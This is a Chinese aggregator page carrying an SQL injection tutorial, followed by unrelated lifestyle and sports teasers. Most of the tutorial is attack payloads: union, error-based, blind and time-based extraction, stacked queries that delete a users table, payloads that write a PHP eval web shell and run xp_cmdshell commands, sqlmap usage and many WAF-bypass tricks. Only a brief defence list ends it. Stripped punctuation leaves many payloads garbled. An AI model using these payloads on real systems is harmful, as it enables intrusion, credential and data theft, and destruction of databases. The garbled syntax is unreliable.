应用办公生活信息教育商业
投稿投诉
商业财经
汽车智能
教育国际
房产环球
信息数码
热点科技
生活手机
晨报新闻
办公软件
科学动态
应用生物
体育时事

科普基础最全的SQL注入总结

  0x01SQL注入原理
  当客户端提交的数据未作处理或转义直接带入数据库,就造成了sql注入。
  攻击者通过构造不同的sql语句来实现对数据库的任意操作。0x02SQL注入的分类
  按变量类型分:数字型和字符型
  按HTTP提交方式分:POST注入、GET注入和Cookie注入
  按注入方式分:布尔注入、联合注入、多语句注入、报错注入、延时注入、内联注入
  按数据库类型分:sql:oracle、mysql、mssql、access、sqlite、postgersqlnosql:mongodb、redis0x03MySQL与MSSQL及ACCESS之间的区别
  1。MySQL5。0以下没有informationschema这个默认数据库
  2。ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释举例:select1,2,3fromtablenameunionselect1,2,3fromtablename
  3。MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)0x04判断三种数据库的语句MySQL:andlength(user())10ACCESS:and(selectcount()fromMSysAccessObjects)0MSSQL:and(selectcount()fromsysobjects)00x05基本手工注入流程
  1。判断注入点数字型:id21字符型:、)、))、、)、))注释符:(这是空格)、、、
  2。获取字段数
  orderby二分法联合查询字段数,观察页面变化从而确定字段数orderby1orderby50
  groupby译为分组,注入时也可使用,不过我没用过
  3。查看显示位尝试使用联合注入
  利用and12或and0及id12查看显示数据的位置
  替换显示位改成SQL语句,查看信息(当前数据库,版本及用户名)and12unionselectversion(),2,3
  再查询所有数据库and12unionselect(selectgroupconcat(schemaname)frominformationschema。schemata),2,3
  查询所有表名unionselect(selectgroupconcat(tablename)frominformationschema。tables),2,3
  查询所有字段名unionselect(selectgroupconcat(columnname)frominformationschema。columns),2,3
  查询字段内容
  如:查询test库下users表的id及uname字段,用区分id和uname以防字符连接到一起unionselect(selectgroupconcat(id,,uname)fromtest。users),2,30x06报错注入
  通用报错语句:(测试版本MySQL8。0。12,MySQL5。0,mariadb5。5版本下)selectfromtestwhereid1and(extractvalue(1,concat(0x7e,(selectuser()),0x7e)));selectfromtestwhereid1and(updatexml(1,concat(0x7e,(selectuser()),0x7e),1));0x07布尔盲注
  盲注中常用的函数:
  1。char()解ASCII码
  2。mid()截取字符串举例:mid(hello,1,3),从第1位开始截取3位,输出位hel
  3。substr()与mid()相同,都为截取字符串
  4。count()计算查询结果的行数
  5。concat()查询结果合并但保持原有行数
  6。groupconcat()查询结果合并但都放在一行中
  7。ascii()查询ascii码
  猜数据库长度(利用二分法)id1and(length(database()))1id1and(length(database()))50
  猜第一个字符,第二个字符,以此类推andascii(mid(database(),1,1))1andascii(mid(database(),2,1))1
  查询当前数据库中所有表名and(selectcount(tablename)frominformationschema。tableswheretablesschemadatabase())1and(selectcount(tablename)frominformationschema。tableswheretablesschemadatabase())10
  查询第一个表的长度and(selectlength(tablename)frominformationschema。tableswheretablesschemadatabase()limit0,1)10
  查询表的第一个字符andascii(mid((selecttablenamefrominformationschema。tableswheretableschemadatabase()limit0,1),1,1))1
  查询atelier表里有几个字段and(selectcount(columnname)frominformationschema。columnswheretablenameatelierandtableschemadatabase())2
  查询第一个字段长度andlength((selectcolumnnamefrominformationschema。columnswheretablenameatelierandtableschemadatabase()limit0,1))1
  查询字段第一个字符andascii(mid((selectcolumnnamefrominformationschema。columnswheretableschemadb83231asfaaandTABLENAMEatelierlimit0,1),1,1))105
  查询字段所有行数and(selectcount()fromdb83231asfaa。atelier)4
  查询字段名的行数(查询emails表,uname字段)and(selectcount(uname)fromsecurity。emails)7查询uname的行数
  查询字段内容length((selectusernamefromsecurity。userslimit0,1))10ascii(mid((selectusernamefromsecurity。userlimit0,1),1,1))100
  将查询到的ASCII码放到mysql中查询
  举例:selectchar(39);
  0x08延时盲注
  利用sleep(3)和if(12,1,0)及case进行延时注入,示例:selectfromuserwhereid1orsleep(3)23
  这个没什么好说的selectfromuserwhereid1andif(length(version())10,sleep(3),0);
  如果长度大于10,则睡3秒,其他则0秒selectfromuserwhereid1andcaselength(version())10when1thensleep(3)else0end;
  case定义条件,when后面的1表示ture也代表真,当条件为真时,睡3秒,其他则0秒。0x09多语句注入
  多语句意思就是可以执行多个语句,利用分号进行隔开示例:id1;WAITFORDELAY0:0:3;deletefromusers;id1;selectif(length(user(),1,1)1,sleep(3),1)23;selectif(length((selecttablenamefrominformationschema。tableswheretableschemadatabase()limit0,1),1,1)1,sleep(3),1)230x10内联注入举例:id1!UNION!SELECT1,2,3
  利用别名:unionselect1,2,3,4,a。id,b。id,from(sysadminasainnerjoinsysadminasbona。idb。id)0x11getshellid1unionselect1,2,(selectlt;?phpeval(POST〔1〕);?intooutfilevarwwwhtml404。php)
  也可使用dumpfile进行写入
  outfile和dumpfile的区别:
  outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。dumpfile只能执行一行数据。
  数据库写入:execmaster。。xpcmdshellecholt;eXECutegLobaLrEquEst(0)c:wwwuploadFiles201911404。asp0x12宽字节注入
  当编码位gbk时,df27或8127数据为空
  就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页面恢复正常,存在宽字节注入
  测试出来就可以使用sqlmap跑了,23333
  加构造注入点(比p更稳定),让sqlmap对构造注入点进行注入攻击(优先级更高)
  宽字节防御:
  第10行代码必须和第24行必须同时使用,要么就更换编码格式0x13二次编码注入
  代码中有urldecode()函数
  2527先解码成27再解码成单引号sqlmapuhttp:192。168。100。141index。phpauthor123prefix2527suffix23
  prefix为设置前缀suffix为设置后缀
  设置后缀,防止sqlmap使用内联注0x14二次注入
  abc数据经过addslashes过滤,单引号前面添加反斜杠abc,但传到数据库的数据还是abc
  假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册usernametest,接下来访问xxx。php?usernametest,页面返回id22;
  接下来再次发起请求xxx。php?id22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
  访问xxx。php?idtestunionselect1,user(),323,获得新的id40,得到user()的结果,利用这种注入方式会得到数据库中的值。0x15XFF头注入updateusersetloatloginip8。8。8。8whereid1andsleep(5)whereusernamezs;
  id根据网站用户量取一个中间值,测试是否有注入,利用插件设置XFF头,如果网站不报错,可尝试此注入
  XForwardFor:127。0。0。1select1,2,user()0x16常用过WAF技巧1。特征字符大小写(基本没用)UnIoNSeLcT1,2,32。内联注释id1!UNION20!SELECT201,2,33。特殊字符代替空格09tab键(水平)、0a换行、0c新的一页0dreturn功能、0btab键(垂直)、a0空格4。等价函数和逻辑符号hex()、bin()ascii()sleep()benchmark()concatws()groupconcat()mid()、substr()substring()versionversion()datadirdatadir()逻辑符号:如and和or不能使用时,尝试和双管道符。5。特殊符号反引号,selectversion(),绕过空格和正则加号和点,和。代表连接,也可绕过空格和关键字过滤符号,用于定义变量,一个代表用户变量,代表系统变量6。关键字拆分selectSELCT1,2,3?id1;EXEC(master。。xpcmdshellnetuser)!和():or2!!!2id1(UnI)(oN)(SeL)(EcT)7。加括号绕过
  小括号union(select1,2,3fromusers)23union(select(1),(2),(3)from(users))id(1)or(0x500x50)id(1)union(((((((select(1),hex(2),hex(3)from(users))))))))
  花括号select{xuser}from{xmysql。user}id1unionselect1,{x2},38。过滤and和or下的盲注idstrcmp(left((select20username20from20users20limit200,1),1),0x42)23idstrcmp(left((selectusernamefromlimit0,1),1,0x42)239。白名单绕过
  拦截信息:GETpennews。php?id1unionselectuser,passwordfrommysql。user
  绕过:GETpennews。phpadmin?id1unionselectuser,passwordfrommysql。userGETpenadmin。。ews。php?id1unionselectuser,passwordfrommysql。user10。HTTP参数控制
  (1)HPP(HTTPParmeterPolution)(重复参数污染)
  举例:index。php?id1unionselectusername,passwordfromusersindex。php?id1unionidselectidusername。passwordidfromidusers
  HPP又称作重复参数污染,最简单的是?uid1uid2uid3,对于这种情况,不用的web服务器处理方式不同。
  具体WAF如何处理,要看设置的规则,不过示例中最后一个有较大可能绕过
  (2)HPF(HTTPParmeterFragment)(HTTP分割注入)
  HTTP分割注入,同CRLF有相似之处(使用控制字符0a、0d等执行换行)
  举例:?a1unionbselect1,passcfromusersselectfromtablewherea1unionandbselect1,passlimitfromusers0x17SQL注入防御
  1。对用户输入的内容进行转义
  2。限制关键字的输入,如单引号、双引号、右括号等,限制输入的长度
  3。使用SQL语句预处理,对SQL语句进行预编译,然后进行参数绑定,最后传入参数
  4。添加WAF,防火墙等

这个清明假期大家都忙着在野外搭帐篷这个清明假期,怎么会大家都在外面忙着搭帐篷呢?没地方住吗?当然不是啦,因为今年期间政府倡导不聚集拜山,不超过50人聚餐,务必做好各种防控工作。可是假期有三天,并且这……2022年欧洲最新火车风光路线在奥地利航空公司BB的带领下,欧洲大陆的夜行列车已经从濒临灭绝到在欧洲范围内复苏,新的私营公司如雨后春笋般涌现,提供更多选择。与此同时,随着更多的日间列车在整个大陆铺设,……40!全北现代大爆发,3大外援连造4球,送对手2大耻辱记录北京时间2022年4月9日下午,韩国K联赛第9轮的赛事开打,城南VS全北现代。结果,全北现代上半场攻入1球,下半场再入3球,最终以40的比分,客场顺利从城南队身上拿走3分,暂时……事态升级!巩汉林正面回应前国足队长冯潇霆?网友我懂足球北京时间3月15日,近期著名的老艺术家小品演员巩汉林先生在接受采访时,直接直指国足,批评某足球队,拿着那么高的薪酬,却没有进球,暗讽给中国人丢脸,巩汉林的原话是这样说的:某足球……3岁女孩洗澡发现红点,确诊为乳腺癌?乳腺分泌型癌好发于青少年在人们的印象中,乳腺癌往往发生在成年女性中,3岁小女孩似乎与乳腺癌完全沾不上边。01hr【真实案例】事情发生在2018年,根据小女孩妈妈的回忆,在一次给女儿洗澡换衣……童年只有一次,妈妈请不要错过我的这些关键期俗话说:三岁看大,七岁看老。意思是根据孩子在三岁时的所作所为,就可以推断出一个孩子长大后的行为情况;根据孩子在七岁时的所作所为,就可以推断出一个孩子到老时的行为状况。所以……陈晓夫妇罕见合体,陈妍希戴针织帽脸好小,他一脸疲惫样一直以来时髦和经典从来都不是冲突的,可能很多人都觉得一些经典类型的单品没有任何的突破性跟不上现在的时尚潮流,要知道现如今所流行的是极简风,类似于黑色大衣或者是风衣的单品往往都是……身高一米五的小个子,裤子一般买多长,才会更加时髦又显高?小个子的姑娘,本就存在着身高上的不足。所以在穿衣搭配上,需要更加的谨慎。如果是身高只有一米五的小个子,裤子应该买多长,才会更加时髦显高呢?一米五的身高裤子买多长,一般建议……肝血不足,身体常见的7个表现!建议对照一下,中医教你养好肝肝藏血,有调节血液和净化血液的作用,当出现面色晦暗,萎黄,头晕目眩等情况时,很多人就会判断是肝血不足引起的。那具体的情况有哪些呢?肝血不足,身体常见7个表现!舌质淡……你的包包该换了!这5款也太香了本期导读美妆编辑的包里装了什么?自用好物分享!不含广告安心种草。我检讨,我真的很久没给大家安利包包啦不是我不想安利,而是实在没找到好看性价比又高的……牙牙学语的女儿治好了妈妈的抑郁症同事丽在二胎政策放开以后,生了一个女儿。当年丽已经40岁了,可谓是高龄产妇。一孕傻三年何况还是高龄产妇,丽说,为了生二胎,真的是要了她半条命。但丽不后悔,女儿是家里……又1家中超豪门不玩了投资人决定新赛季不再为俱乐部投钱中超联赛很可能在本月底或下月初开赛,但是由于疫情的影响,足协新赛季暂时还会以赛会制的方式进行,而主客场制的恢复还需要继续等待,加上中国足球的大环境迟迟没有好转,不少俱乐部都面临……
中超第1爆冷告负4大国脚2外援首发,泰山变阵,升班马爆发1球聚焦中超CBA,独一无二球迷媒体点击右上角关注,不会后悔的。。。近期,双冠王山东泰山备战非常活跃,尽管贵为卫冕冠军,但泰山依旧是认真备战,教练组一丝不苟,球队的忙碌……买真无线耳机不知哪种适合你?这几种TWS一定让你过目不忘问各位一个问题,当初在你发现有真无线耳机的时候有没有不看好它甚至鄙视它?如果可以,请良心回答。我觉得很多人欠真无线耳机从业者一个道歉,在个人陆陆续续玩过近百款真无线……好兄弟!加索尔晒家人和瓦妮莎万圣节游玩合照神奇的迪士尼乐园科比和加索尔的感情一直是NBA中流传的一段佳话,他们二人不仅仅是一对黄金搭档,最主要的还是好兄弟。2020年科比去世,这令全世界都感到无比的悲痛,作为科比好兄弟的加索尔自然是一……拿到年终奖计划换手机,参考电商热卖榜与网友评价,锁定这两款终于是放假了,年终奖也是拿到了不少,于是我想趁过年前给自己换台手机,由于自己的是安卓党,所以目前是考虑几款新上市的骁龙8Gen2机型。在做了很多功课后,我最终是在一加11和小米……3岁还只会叫妈妈,这肯定不是贵人,还可能变成笨人随着宝宝一天天长大,爸爸妈妈最盼望的就是孩子能开口叫一声他们。虽然只是简单的、最基础的发音,可这一声妈妈爸爸却标志着婴幼儿语言发育期的到来。有些孩子天赋异禀,八九个月时就能开口……热门保湿面霜推荐深层修复补水,保湿抗老化,给肌肤细致的呵护热门保湿面霜推荐:深层修复补水,保湿抗老化,给肌肤细致的呵护!花钰集玫瑰面霜这款花钰集玫瑰霜采用花水蒸汽注入法制作蕴含玫瑰籽玫瑰甄萃活能。打开瓶子,里面是奶油状的膏……同机不同价通过生活中的故事,了解生活中的和我们密切相关的经济学常识。有三位乘客乘飞机从郑州回北京,在飞机上闲聊,结果发现他们的机票价格各不相同。第一个乘客通过旅行社订票去北京旅游,……骗局OR真相?136年前被外星人绑架的女子,竟出现在21世纪如果有人告诉你,他见到一个出生在1839年的女人,穿越了时间,赫然出现在136年后的公路上,那你肯定会觉得这个人疯了!然而,这却是真实发生过的事情,2010年的美国爱荷达州,就……事关人类生存科学家警告即将发生的灾难比COVID19大流行更Phys。org网刊文:气候变化将比COVID19大流行更严重地影响人类健康。图片来源:俄新社俄新社2021年10月21日消息:来自世界各地的卫生专业人员签署了一份……物理上的时间作者:谢海东19世纪中叶前的物理学家们还未能给时间下一个明确的定义,那么时间是什么呢?时间我们可以从字面意思理解,时:小时,时刻。间:空间,间隔。从大众的角度看,时间就是……治疗便秘的一种中成药,可以救急文赵岩(中医主治医师)便秘是困扰很多人的一个问题。有些人是排便次数少,许多天才排一次,也有些人虽是一天一次,但是排便非常困难,这些都称为便秘。治疗便秘的方法有很多,……作为一个北方人,到了成都才知道生活竟然如此美好去成都旅游怎么样飞机飞过北京天空,穿过太行山,进入四川盆地,降落到双流机场已是凌晨24时,起飞前已经查过有机场大巴到达住宿附近,也就不用犹豫是否要滴滴打车。过了出口,就能……
友情链接:易事利快生活快传网聚热点七猫云快好知快百科中准网快好找文好找中准网快软网